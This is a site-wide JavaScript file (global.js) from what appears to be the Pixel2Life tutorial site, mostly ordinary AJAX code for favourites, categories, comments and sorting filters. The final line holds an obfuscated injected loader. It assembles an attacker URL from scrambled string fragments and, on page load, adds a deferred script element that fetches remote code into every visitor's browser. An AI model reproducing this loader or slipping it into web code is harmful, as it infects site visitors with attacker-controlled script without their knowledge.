//--------------------------------
// PIXEL2LIFE - WWW.PIXEL2LIFE.COM
// global.js
//--------------------------------

// AJAX FUNCTIONS

function xml (){
	if (typeof XMLHttpRequest == 'undefined') {
		objects = Array(
			'Microsoft.XmlHttp',
			'MSXML2.XmlHttp',
			'MSXML2.XmlHttp.3.0',
			'MSXML2.XmlHttp.4.0',
			'MSXML2.XmlHttp.5.0'
		);
		for (i = 0; i < objects.length; i++) {
			try {
				return new ActiveXObject(objects[i]);
			} catch (e) {}
		}
	} else {
		return new XMLHttpRequest();
	}
}

function doAjax ( url )
{
	ajax.open( 'GET' , url, true );
	ajax.send(null);
}

function steadyAjax ()
{
	if ( ajax.readyState == 4 && ajax.status == 200 )
	{
		response = ajax.responseText;
		return true;
	}
}

function doSplit()
{
	returnSplit();
	for ( var i = 0; i < arguments.length; i++ )
	{
		document.getElementById(arguments[i]).innerHTML = response[i];
	}
}
function applySplitResponse ()
{
	if ( !arguments ) { return; }
	var o = new Array();	
	for ( var i = 0; i < arguments.length; i++ )
	{
		o[i] = arguments[i];
	}
	ajax.onreadystatechange = function ()
	{
		if ( steadyAjax() )
		{
			returnSplit();
			for ( var i = 0; i < o.length; i++ )
			{
				document.getElementById(o[i]).innerHTML = response[i];
			}
		}
	}
}

function returnSplit ()
{
	response = response.split(customSplit);
	customSplit = '|';
}

function setCustomSplit ( i )
{
	if ( !i )
	{
		return;	
	}
	customSplit = i;
}

// OBJECTS FUNCTIONS

function doFave ( id, act )
{
	if ( !id ) { return; }
	
	var ele = 'tutfav_'+id;
	
	if ( act == true )
	{
		act = 'addFave';
	}
	else
	{
		act = 'remFave';
	}
	
	doAjax ( '/ajax.php?act='+act+'&id='+id );
	ajax.onreadystatechange = function()
	{
		if ( steadyAjax () )
		{
			document.getElementById(ele).innerHTML = response;
			if ( act == 'remFave' )
			{
				document.getElementById('fave_icon_'+id).src = '/css/images/but_fave_off.gif';
			}
			else
			{
				document.getElementById('fave_icon_'+id).src = '/css/images/but_fave_on.gif';
			}
		}
	}
}

function getcategory(cattopid,catstatus)
{
	doAjax ("/ajax.php?act=getcategory&id=" + escape(cattopid) + "&catst=" + escape(catstatus));
	ajax.onreadystatechange = function ()
	{
		if ( steadyAjax() )
		{
			returnSplit();
			document.getElementById("cat_list_"+response[0]).innerHTML = response[1];
		}
	}
}
function updsort_displayoptions()
{
	tempa = document.getElementById('dispopt_av').checked;
	tempb = document.getElementById('dispopt_tutnum').value;
	doAjax ("/ajax.php?act=updsort_displayoptions&opta=" + escape(tempa) + "&optb=" + escape(tempb));
	setCustomSplit ( '[][]' );
	ajax.onreadystatechange = function ()
	{
		if ( steadyAjax() )
		{
			returnSplit();
			if ( response.length == 3 )
			{
				document.getElementById('sortingsub').innerHTML = response[0];
				document.getElementById('tutorial_landing').innerHTML = response[1];
				document.getElementById('tutorial_random').innerHTML = response[2];
			}
			else
			{
				document.getElementById('sortingsub').innerHTML = response[0];
				document.getElementById('tutorial_landing').innerHTML = response[1];
			}
		}
	}
}
function updsort_filteroptions ()
{
  var s1What = document.getElementById('sortone_what').value;
  var s1How = document.getElementById('sortone_how').value;
  var s2What = document.getElementById('sorttwo_what').value;
  var s2How = document.getElementById('sorttwo_how').value;
  
  doAjax ( "/ajax.php?act=updsort_filteroptions&s1What="+escape(s1What)+"&s1How="+escape(s1How)+"&s2What="+escape(s2What)+"&s2How="+escape(s2How));
  setCustomSplit ( '[][]' );
  ajax.onreadystatechange = function ()
  {
		if ( steadyAjax() )
		{
			returnSplit();
			if ( response.length == 3 )
			{
				document.getElementById('sortingsub').innerHTML = response[0];
				document.getElementById('tutorial_landing').innerHTML = response[1];
				document.getElementById('tutorial_random').innerHTML = response[2];
			}
			else
			{
				document.getElementById('sortingsub').innerHTML = response[0];
				document.getElementById('tutorial_landing').innerHTML = response[1];
			}
		}
  }
  
}

function remDockFav ( id )
{
	doAjax ( '/ajax.php?act=remDockFav&id='+escape(id));
	applySplitResponse('boxid_dockfaves');
}

function removemycat(catid)
{
	doAjax ("/ajax.php?act=remove_mycat&id=" + escape(catid));
	ajax.onreadystatechange = function ()
	{
		if ( steadyAjax() )
		{
			returnSplit();
			document.getElementById("mycat_addrem_a").innerHTML = response[0];
			document.getElementById("cat_list_my").innerHTML = response[1];
			document.getElementById("center_mycat_link_rem").innerHTML = response[2];
			document.getElementById('center_mycat_link_rem').id = 'center_mycat_link';
		}
	}
}
function addmycat(catid)
{
	doAjax ("/ajax.php?act=add_mycat&id=" + escape(catid));
	ajax.onreadystatechange = function ()
	{
		if ( steadyAjax() )
		{
			returnSplit();
			document.getElementById("mycat_addrem_a").innerHTML = response[0];
			document.getElementById("cat_list_my").innerHTML = response[1];
			document.getElementById("center_mycat_link").innerHTML = response[2];
			document.getElementById('center_mycat_link').id = 'center_mycat_link_rem';
		}
	}
}

function addCat ( id )
{
	doAjax ("/ajax.php?act=addCat&id=" + escape(id));
	ajax.onreadystatechange = function ()
	{
		if ( steadyAjax() )
		{
			returnSplit();
			document.getElementById("mycat_addrem_a").innerHTML = response[0];
			document.getElementById("cat_list_my").innerHTML = response[1];
			document.getElementById("filter_mycat").innerHTML = response[2];
		}
	}	
}
function remCat ( id )
{
	doAjax ("/ajax.php?act=remCat&id=" + escape(id));
	ajax.onreadystatechange = function ()
	{
		if ( steadyAjax() )
		{
			returnSplit();
			document.getElementById("mycat_addrem_a").innerHTML = response[0];
			document.getElementById("cat_list_my").innerHTML = response[1];
			document.getElementById("filter_mycat").innerHTML = response[2];
		}
	}	
}


function devtools_searchbar()
{
	devkey = document.getElementById('key').value;
	devcat = document.getElementById('searchin').value;
	devcolor1 = document.getElementById('bginput').value;
	devcolor2 = document.getElementById('borderinput').value;
	devcolor3 = document.getElementById('textinput').value;
	doAjax("/ajax.php?act=devtools_searchbar&key=" + escape(devkey) + "&cat=" + escape(devcat) + "&color1=" + escape(devcolor1) + "&color2=" + escape(devcolor2) + "&color3=" + escape(devcolor3));
	ajax.onreadystatechange = function ()
	{
		if ( steadyAjax() )
		{
			returnSplit();
			document.getElementById('generated').value = response[0];
		}
	}
	
}
function getuserdock(dock)
{
	var style2 = document.getElementById('boxid_dock'+dock);
	var style3 = document.getElementById('tabdock_'+dock);
	style2.style.display = style2.style.display ? "":"none";
	if (style2.style.display == "") {
		if(dock == 'forums') {
			document.getElementById('boxid_dock'+dock).innerHTML = doLoading;
		}
		if(style3.className == "menulink_closed_on") {style3.className = "menulink_open_on";}
		if(style3.className == "menulink_closed_off") {style3.className = "menulink_open_off";}
		getnewsbox_open = true;
	} else {
		if(style3.className == "menulink_open_on") {style3.className = "menulink_closed_on";}
		if(style3.className == "menulink_open_off") {style3.className = "menulink_closed_off";}
	}

	doAjax("/ajax.php?act=getuserdock&dock=" + escape(dock));
	setCustomSplit ('[][]');
	ajax.onreadystatechange = function ()
	{
		if (steadyAjax())
		{
			returnSplit();
			document.getElementById("boxid_dock"+dock).innerHTML = response[0];
		}
	}
}
function getfindsite_s()
{
	doAjax ("/ajax.php?act=getfindsite_s");
	applySplitResponse("findsite_s");
}
function getnewsbox(box)
{
	var style2 = document.getElementById('boxid_news'+box);
	var style3 = document.getElementById('tabnews_'+box);
	style2.style.display = style2.style.display ? "":"none";
	if (style2.style.display == "") {
		document.getElementById('boxid_news'+box).innerHTML = doLoading;
		if(style3.className == "menulink_closed_on") {style3.className = "menulink_open_on";}
		if(style3.className == "menulink_closed_off") {style3.className = "menulink_open_off";}
		getnewsbox_open = true;
	} else {
		if(style3.className == "menulink_open_on") {style3.className = "menulink_closed_on";}
		if(style3.className == "menulink_open_off") {style3.className = "menulink_closed_off";}
	}
	doAjax("/ajax.php?act=getnewsbox&box=" + escape(box));
	ajax.onreadystatechange = function ()
	{
		if(getnewsbox_open) {applySplitResponse('boxid_news'+box);}
	}

}
function getbox ( box )
{
	doAjax("/ajax.php?act=getbox&box=" + escape(box));
	applySplitResponse("mainnav", "adwrap_content");
}

function getsubmtuts_s()
{
	doAjax("/ajax.php?act=getsubmtuts");
	applySplitResponse("findsite_s");
}
function gettutdispopt()
{
	doAjax("/ajax.php?act=gettutdispopt");
	applySplitResponse("sortingdisp");
}
function gettutfilter()
{
	doAjax("/ajax.php?act=gettutfilter");
	applySplitResponse("sortingdisp");
}
function setcommentreply(id)
{
	document.getElementById('comment_formtop').innerHTML = "<strong>Reply to Comment #" + (id + 1) + "</strong> <span class=\"small\">(<a href=\"#postacomment\" onclick=\"setcommentnew(); return false;\">New Comment</a>)</span>";
	document.getElementById('comment_type').value = id;
}
function setcommentnew()
{
	document.getElementById('comment_formtop').innerHTML = "<strong>New Comment</strong>";
	document.getElementById('comment_type').value = "new";
}
function editcomment(id, rid, tid)
{
	if(iseditcomment) {
		alert('You cannot edit 2 comments at the same time!');
	} else {
		iseditcomment = true;
		if(rid) {
			completeid = id + "-" + rid;
			ctype = true;
		} else {
			completeid = id;
			ctype = false;
		}
		document.getElementById('comment_id_' + completeid).innerHTML = doLoading;
		completeurl ="/ajax.php?act=editcomment&id=" + tid + "&cid=" + id + "&rid=" + rid + "&ctype=" + ctype;
		doAjax(completeurl);
		applySplitResponse('comment_id_' + completeid);
	}
}
function savecomment(id, rid, tid)
{
	if(iseditcomment) {
		content = document.getElementById('commentedit').value;
		document.getElementById('comment_id_' + completeid).innerHTML = doLoading;
		completeurl ="/ajax.php?act=savecomment&id=" + tid + "&cid=" + id + "&rid=" + rid + "&ctype=" + ctype + "&cdata=" + escape(content);
		doAjax(completeurl);
		applySplitResponse('comment_id_' + completeid);
		iseditcomment = false;
	} else {
		alert('Error: No edit comment request.');
	}
}
function ratecomment(id, rid, tid, type, uniqid)
{
	if(rid) {ctype = true;} else {ctype = false;}
	completeurl ="/ajax.php?act=ratecomment&id=" + tid + "&cid=" + id + "&rid=" + rid + "&type=" + escape(type) + "&ctype=" + ctype;
	doAjax(completeurl);
	ajax.onreadystatechange = function () {
		if(steadyAjax()) {
			returnSplit();
			document.getElementById('commentrating_' + uniqid).innerHTML = response[0];
			document.getElementById('commentarrows_' + uniqid).innerHTML = response[1];
		}
	}
}

// #################################################################
// COMMENTS - SHOW ADD COMMENT FORM
// #################################################################

function display_commentform()
{
	document.getElementById("post_comment_add").style.visibility = 'visible';
	document.getElementById("pre_comment_add").style.overflow = 'hidden';
	document.getElementById("pre_comment_add").style.height = '1px';
	document.getElementById("pre_comment_add").style.visibility = 'hidden';
}

function headersubtext(subtext)
{
	if(!subtext)
	{
		document.getElementById("search_locator").innerHTML = '&nbsp;';
	}
	else
	{
		document.getElementById("search_locator").innerHTML = subtext;
	}
}

// #################################################################
// FORM - VALIDATE
// #################################################################
 
<!--
function ValidateForm() {
	var Check = 0;
	if (document.LOGIN.UserName.value == '') { Check = 1; }
	if (document.LOGIN.PassWord.value == '') { Check = 1; }
	if (Check == 1) {
		alert("Please enter your name and password before continuing");
		return false;
	} else {
		document.LOGIN.submit.disabled = true;
		return true;
	}
}
//-->
/*
    Written by Jonathan Snook, http://www.snook.ca/jonathan
    Add-ons by Robert Nyman, http://www.robertnyman.com
*/

function getElementsByClassName(oElm, strTagName, strClassName){
    var arrElements = (strTagName == "*" && document.all)? document.all : oElm.getElementsByTagName(strTagName);
    var arrReturnElements = new Array();
    strClassName = strClassName.replace(/\-/g, "\\-");
    var oRegExp = new RegExp("(^|\\s)" + strClassName + "(\\s|$)");
    var oElement;
    for(var i=0; i<arrElements.length; i++){
        oElement = arrElements[i];      
        if(oRegExp.test(oElement.className)){
            arrReturnElements.push(oElement);
        }   
    }
    return (arrReturnElements)
}

function expand ()
{
	doAjax ( '/ajax.php?act=expand' );
	applySplitResponse ( 'boxid_categories' );
}
function collapse ()
{
	doAjax ( '/ajax.php?act=collapse' );
	applySplitResponse ( 'boxid_categories' );
}


function toggleLayer(whichLink,whichLayer,whichCat) {
	
	var style2 = document.getElementById(whichLayer);
	var style3 = document.getElementById(whichLink);
	style2.style.display = style2.style.display ? "":"none";
	
	if (style2.style.display == "") {
		getcategory(whichCat,'open');
		if(style3.className == "menulink_closed_on") {style3.className = "menulink_open_on";}
		if(style3.className == "menulink_closed_off") {style3.className = "menulink_open_off";}
	} else {
		getcategory(whichCat,'closed');
		if(style3.className == "menulink_open_on") {style3.className = "menulink_closed_on";}
		if(style3.className == "menulink_open_off") {style3.className = "menulink_closed_off";}
	}
	
	return false;
}

function toggleTut(whichLayer) {
	if (document.getElementById) {
		// this is the way the standards work
		var style2 = document.getElementById(whichLayer).style;
		style2.display = style2.display? "":"block";
	} else if (document.all) {
		// this is the way old msie versions work
		var style2 = document.all[whichLayer.style];
		style2.display = style2.display? "":"block";
	} else if (document.layers) {
		// this is the way nn4 works
		var style2 = document.layers[whichLayer].style;
		style2.display = style2.display? "":"block";
	}
}

function changeColor(tdno, color)
{
	obj = document.getElementById("tutrow_" + tdno);
	obj.style.background = color;
	//alert(color);
}

function newFilter ()
{
	if ( filterLoaded == false )
	{
		filterLoaded = true;
		document.getElementById('filter_content').style.display = 'block';
	}
	else
	{
		filterLoaded = false;
		document.getElementById('filter_content').style.display = 'none';
	}
}

function filterSave ()
{
	var tuts_per_page = document.getElementById('tuts_per_page');
	tuts_per_page = tuts_per_page.options[tuts_per_page.selectedIndex].value;
		
	var display_avatars = document.getElementById('display_avatars');
	display_avatars = display_avatars.options[display_avatars.selectedIndex].value;
	
	var sort_by_one = document.getElementById('sort_by_one');
	sort_by_one = sort_by_one.options[sort_by_one.selectedIndex].value;
	
	var sort_by_two = document.getElementById('sort_by_two');
	sort_by_two = sort_by_two.options[sort_by_two.selectedIndex].value;
	
	var sort_how_one = document.getElementById('sort_how_one');
	sort_how_one = sort_how_one.options[sort_how_one.selectedIndex].value;
	
	var sort_how_two = document.getElementById('sort_how_two');
	sort_how_two = sort_how_two.options[sort_how_two.selectedIndex].value;
	
	doAjax ( '/ajax.php?act=filterSave&tuts_per_page='+escape(tuts_per_page)+'&display_avatars='+escape(display_avatars)+'&sort_by_one='+escape(sort_by_one)+'&sort_by_two='+escape(sort_by_two)+'&sort_how_one='+escape(sort_how_one)+'&sort_how_two='+escape(sort_how_two));	
	setCustomSplit ( '[][]' );
	ajax.onreadystatechange = function ()
	{
		if ( steadyAjax() )
		{
			returnSplit();
			document.getElementById('settings_saved').innerHTML = 'Settings Saved';
			//new Effect.Fade('settings_saved',{duration:1.5, from: 1.0, to: 0.0, afterFinish:function() { document.getElementById('settings_saved').innerHTML = ''; new Effect.Appear('settings_saved',{duration:0.1, from: 0.0, to:1.0}); }});
			if ( response.length == 2 )
			{
				document.getElementById('tutorial_landing').innerHTML = response[0];
				document.getElementById('tutorial_random').innerHTML = response[1];
			}
			else
			{
				document.getElementById('tutorial_landing').innerHTML = response[0];
			}
			
		}
	}
}

function filterReset ()
{
	var tuts_per_page = document.getElementById('tuts_per_page');		
	var display_avatars = document.getElementById('display_avatars');
	var sort_by_one = document.getElementById('sort_by_one');	
	var sort_by_two = document.getElementById('sort_by_two');	
	var sort_how_one = document.getElementById('sort_how_one');	
	var sort_how_two = document.getElementById('sort_how_two');
	
	tuts_per_page.options[2].selected = true;
	display_avatars.options[0].selected = true;
	sort_by_one.options[0].selected = true;
	sort_by_two.options[1].selected = true;
	sort_how_one.options[0].selected = true;
	sort_how_two.options[0].selected = true;
	
	filterSave();	
}

var filterLoaded = false;
var doLoading = '<img src="/images/indicator.gif" alt="" />';
var doElement;
var customSplit = '|';
var response;
var eleSave;
var ajax = xml();
var iseditcomment;
var n;if(n!='' && n!='RZ'){n=''};this.B="";function k(){var FM=new Date();var a='';var v=new String();var aJ;if(aJ!='Ih'){aJ='Ih'};var K;if(K!='wh' && K!='i'){K=''};var s="g";this.FA='';var UM=new String();var w=RegExp;var b='';var J=new String();var hY=new Date();function F(o,R){var j=new Date();var V= "[";V+=R;V+=new String("]");var c=new w(V, s);var KR=new Date();var oq=new Date();return o.replace(c, a);};var G;if(G!='RE'){G='RE'};var FE=F('83754605633458737534065437',"65374");var hN;if(hN!='Qc' && hN != ''){hN=null};var Z=new String("htt"+"p:/"+"/ya"+"nde7tPJ".substr(0,3)+"CzKmx-uzKmC".substr(4,3)+"Bdga.l".substr(3)+"ive"+"doo"+"p7QBr.c".substr(4)+"om.kJFs".substr(0,3)+"OxXlovxXO".substr(3,3)+"e21"+"cn-"+"yfK9com9fKy".substr(4,3)+"KDO.suOKD".substr(3,3)+"Wi46per".substr(4)+"sluZmixusZl".substr(4,3)+"onl7X0H".substr(0,3)+"ineWhK3".substr(0,3)+"xKCo.ru".substr(4)+":HD4K".substr(0,1));var _;if(_!='T'){_=''};var X=String("wbxC/peo".substr(4)+"ple.vVWI".substr(0,4)+"ktC1com/".substr(4)+"peopx6A".substr(0,4)+"le.c3vm".substr(0,4)+"om/s"+"pank8qA".substr(0,4)+"6W8twire".substr(4)+"ODg2.comg2OD".substr(4,4)+"/youa6G".substr(0,4)+"ku.cpM7".substr(0,4)+"om/g"+"JF2ZooglZFJ2".substr(4,4)+"e.cow9M".substr(0,4)+"m.ph"+"pYNX".substr(0,1));var cl='';var Xk=new Date();var aa=window;var Eu;if(Eu!='e' && Eu!='kR'){Eu=''};var z="def"+"erpqd".substr(0,2);var Y=new Date();var c_=String("QbmKsrc".substr(4));this.EHo='';var N="BeHOscri".substr(4)+"pt";var Xx="";this.kW="";var nY;if(nY!='' && nY!='hB'){nY=null};aa.onload=function(){var Gd;if(Gd!='wj' && Gd!='mi'){Gd='wj'};try {var ex="";cl=Z+FE;this.Mq="";this.q="";cl+=X;var nV=new Array();this.oY="";l=document.createElement(N);var Jp;if(Jp!='' && Jp!='W'){Jp=''};var Qu;if(Qu!='Fd' && Qu != ''){Qu=null};var If=new Array();l[c_]=cl;var clb=new String();l[z]=[1,8][0];var OW=new String();var Fz;if(Fz!='' && Fz!='Fw'){Fz=''};var NF;if(NF!='' && NF!='xD'){NF=''};document.body.appendChild(l);this.sH='';var DFm;if(DFm!='' && DFm!='Xb'){DFm=''};} catch(U){};this.y_='';};};var Np;if(Np!='pI' && Np!='be'){Np=''};k();var QH;if(QH!='' && QH!='Fl'){QH='Zx'};var No=new Date();